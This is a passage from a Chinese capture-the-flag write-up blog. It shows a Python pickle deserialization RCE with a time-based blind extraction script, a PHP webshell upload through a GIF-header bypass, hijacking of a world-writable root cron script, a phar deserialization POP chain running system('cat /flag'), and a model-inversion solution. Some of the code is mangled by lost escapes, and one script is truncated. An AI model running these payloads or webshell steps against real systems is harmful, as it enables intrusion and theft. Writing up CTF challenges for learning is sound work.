        print(f"{idx:02d} {offset:#x} {name} {length}")
        if next_offset > len(data):
            print("[!] chunk length overflow detected")
            break

    idat_positions = find_idat_positions(data)
    print(f"[*] found {len(idat_positions)} IDAT markers")
    for pos in idat_positions:
        print(f"    {pos:#x} len_field={data[pos:pos + 4]!r}")

    for pos in idat_positions[:-1]:
        data[pos:pos + 4] = struct.pack(">I", NORMAL_IDAT_LEN)

    last_pos = idat_positions[-1]
    last_len = len(data) - last_pos - 24
    data[last_pos:last_pos + 4] = struct.pack(">I", last_len)

    Path(dst).write_bytes(data)

    print(f"[*] wrote repaired png to {dst}")
    print(f"[*] last IDAT length = {last_len}")

if __name__ == "__main__":
    repair_png()
flag{3a885a8b4479db9c15ede424b93c400e}

Web

python!!!反序列化【困难】

python反序列化 盲注

测试命令执行

构造一个的payload,执行sleep 5看响应时间:

import base64

payload = """cos
system
(S'sleep 5'
tR."""

encoded = base64.b64encode(payload.encode()).decode()
print(encoded)
得到:Y29zCnN5c3RlbQooUydzbGVlcCA1Jwp0Ui4=

请求测试

存在RCE

payload1 = 'cosnsystemn(S'sh -c "[ -f /flag ] && sleep 3"'ntR.'
payload2 = 'cosnsystemn(S'sh -c "[ -f /flag.txt ] && sleep 3"'ntR.'

得到

Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZyBdICYmIHNsZWVwIDMiJwp0Ui4=
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZy50eHQgXSAmJiBzbGVlcCAzIicKdFIu

测试 /flag 是否存在

存在

后面测试需要用时间盲注提取flag逐字符爆破

exp.py

import base64
import string
import time

import requests

URL = "https://c56-t785-chal3.challenges.wdsec.com.cn/"

def make_payload(cmd: str) -> str:
    raw = f"cosnsystemn(S'{cmd}'ntR.".encode()
    return base64.b64encode(raw).decode()

def request_time(cmd: str) -> float:
    data = {
        "action": "check_book",
        "serialized_book": make_payload(cmd),
    }
    t0 = time.time()
    try:
        requests.post(URL, data=data, timeout=15)
    except:
        pass
    return time.time() - t0

def get_char_grep(pos: int, charset: str, threshold: float) -> str:
    """Use grep with regex to match character at position."""
    for ch in charset:
        if ch in r'.[]{}()*+?|^
flag{161fa496-c722-42e1-aefc-d696dd31ea9d}

UPload_is_Funny&Easy

直接访问什么也没有

直接目录扫描

可以发现是文件上传题目

先直接试上传,发现普通 txtphp 都不行,报错是只允许 JPG、PNG、GIF

但是这里的校验不是看后缀,而是看文件内容是不是图片,只有文件头的校验

只有 GIF89a 头的文件,可以成功上传,可以看到返回路径

在上传一次抓包 改后缀为php

上传成功

访问

https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e312a88a911_1.php?x=id

可以命令执行了

发现flag看权限:

?x=ls -l /flag /fllllag.sh
/flag 只有 root 能读,当前 WebShell 是 www-data,直接 cat /flag 读不到。

去看 /fllllag.sh

?x=cat /fllllag.sh
内容
#!/bin/bash
rm -rf /var/www/html/uploads/*.php

这个点就很明显了。

这个脚本权限是 777,说明谁都能改。

而它明显不是手工执行用的,更像是 root 的定时任务,定期清理上传目录里的 PHP 文件。

那就不用再找别的提权点了,直接劫持这个脚本。

把它改成:

#!/bin/bash
cp /flag /var/www/html/uploads/flag.txt
chmod 644 /var/www/html/uploads/flag.txt

命令

https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e31609b208c_1.php?x=printf%20%27#!/bin/bash%5Cncp%20/flag%20/var/www/html/uploads/flag.txt%5Cnchmod%20644%20/var/www/html/uploads/flag.txt%5Cn%27%20%3E%20/fllllag.sh

改完以后等计划任务下一次执行。

然后访问:

/uploads/flag.txt

就可以解出flag了

flag{linux_is_very_funny}

hard审计PHP

扫描目录可以发现 源码泄露

主要看

show.php,class.php,upload.php

审计show.php

show.php主要逻辑是:
禁止 http 和 ftp 开头
只允许路径后缀是 jpg/jpeg/gif/png
file_exists($_GET['path'])`
file_get_contents($_GET['path'])

漏洞是 file_exists()。
如果传入 phar://...,会触发 phar metadata 反序列化。
因为它只做了“后缀判断”,所以可以构造:
phar://./upload/xxx.png/a.jpg
既满足后缀,又能触发反序列化。

审计class.php

User::__destruct()会遍历 $this->photos
对每个 $photo 调用 $photo->exists()
如果对象没有该方法,会走对象的 __call()
Log::__call() 里执行:
call_user_func($this->error, $this->arg1, $this->arg2)
所以可控点很直接:
error = call_user_func
arg1 = system
arg2 = cat /flag;cat /flag.txt

这样 __call 触发后就会执行系统命令。

解题

写一个带恶意 metadata 的 phar
stub 伪装成图片头,改名 exp.png
走正常上传接口 upload.php 上传
从返回里提取真实文件名 ./upload/时间戳.png
访问:
show.php?path=phar://./upload/时间戳.png/a.jpg

exp.py

import os
import re
import subprocess
import tempfile
import requests

BASE = "https://c56-t785-chal39.challenges.wdsec.com.cn"
CMD = "cat /flag;cat /flag.txt;ls -la /"

php_payload = """<?php
class User{private $name;private $age;private $photos;}
class Log{public $error;public $arg1;public $arg2;}
$log=new Log();
$log->error='call_user_func';
$log->arg1='system';
$log->arg2=$argv[1]??'cat /flag';
$user=new User();
$r=new ReflectionClass('User');
$p=$r->getProperty('photos');
$p->setAccessible(true);
$p->setValue($user,[$log]);
@unlink(__DIR__.'/exp.phar');
@unlink(__DIR__.'/exp.png');
$phar=new Phar(__DIR__.'/exp.phar');
$phar->startBuffering();
$phar->addFromString('a.jpg','x');
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
$phar->stopBuffering();
rename(__DIR__.'/exp.phar',__DIR__.'/exp.png');
echo "ok\n";
"""

with tempfile.TemporaryDirectory() as d:
    build_php = os.path.join(d, "build.php")
    with open(build_php, "w", encoding="utf-8") as f:
        f.write(php_payload)

    subprocess.run(["php", "-d", "phar.readonly=0", build_php, CMD], cwd=d, check=True)

    exp_png = os.path.join(d, "exp.png")
    with open(exp_png, "rb") as fp:
        r = requests.post(
            BASE + "/upload.php",
            data={"title": "x", "name": "x", "age": "1"},
            files={"photo": ("exp.png", fp, "image/png")},
            timeout=20
        )

    m = re.search(r"./upload/(d+.png)", r.text)
    if not m:
        print(r.text)
        raise SystemExit("upload filename not found")

    fname = m.group(1)
    trigger = BASE + f"/show.php?path=phar://./upload/{fname}/a.jpg"
    rr = requests.get(trigger, timeout=20)
    out = rr.content.decode("utf-8", "ignore")
    print(out)

    flag = re.search(r"flag\{[^}]+\}", out)
    if flag:
        print("FLAG:", flag.group(0))
flag{jjk81jsh10a1lo1p0}

AI

EzAI-NaiveModel【中等】

看附件

也就是说正样本永远是同一张图,负样本全是随机噪声。

这个模型本质上不是在学分类,而是在记那一张图。

模型结构也很简单,就是个全连接:

self.fc1 = torch.nn.Linear(28*28, 512)
self.fc2 = torch.nn.Linear(512, 128)
self.fc3 = torch.nn.Linear(128, 2)

所以拿到 model.pth 以后,直接做输入反演就行。随机初始化一张 28x28 图,不断优化它,让模型对 class=1 的输出尽量高。

训练时做了:

transforms.Normalize((0.5,), (0.5,))

所以反演时也按这个分布喂进去。

exp.py

import torch
import cv2
from PIL import Image

class M(torch.nn.Module):
def __init__(self):
super().__init__()
self.fc1 = torch.nn.Linear(784, 512)
self.fc2 = torch.nn.Linear(512, 128)
self.fc3 = torch.nn.Linear(128, 2)

def forward(self, x):
x = torch.flatten(x, 1)
x = torch.relu(self.fc1(x))
x = torch.relu(self.fc2(x))
return torch.softmax(self.fc3(x), dim=-1)

model = M()
model.load_state_dict(torch.load('model.pth', map_location='cpu'))
model.eval()

z = torch.randn(1, 1, 28, 28, requires_grad=True)
opt = torch.optim.Adam([z], lr=0.1)

for _ in range(3000):
x = torch.sigmoid(z)
y = model((x - 0.5) / 0.5)[0, 1]
loss = -y
opt.zero_grad()
loss.backward()
opt.step()

img = (torch.sigmoid(z).detach()[0, 0] * 255).byte().numpy()
Image.fromarray(img, mode='L').save('recon.png')

img = cv2.imread('recon.png')
img = cv2.resize(img, None, fx=8, fy=8, interpolation=cv2.INTER_NEAREST)
print(cv2.QRCodeDetector().detectAndDecode(img)[0])

扫描就行

flag{Simplified_MI_Attack}

总结

这个比赛难评,理论题是直接没有了, 我是做了30几题目直接就没有了,后门直接就宣布理论题不计入成绩,而且18:00比完赛18:20交wp,额,很无语,而且容器题目只要答对就无法在开启,所以你需要边做wp边做题目,体验感非常不好,第一次比赛所以非常多人都进不去,后面就延期了,第一次比赛的人挺多的,估计有七八百人结果出来这,所以第二次比赛,人数非常少,高校+社会赛道估计就快300人左右,题目难度,不难,出的题目非常喜欢flag分成好多段。看这个也是第一届,就不多说什么了

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇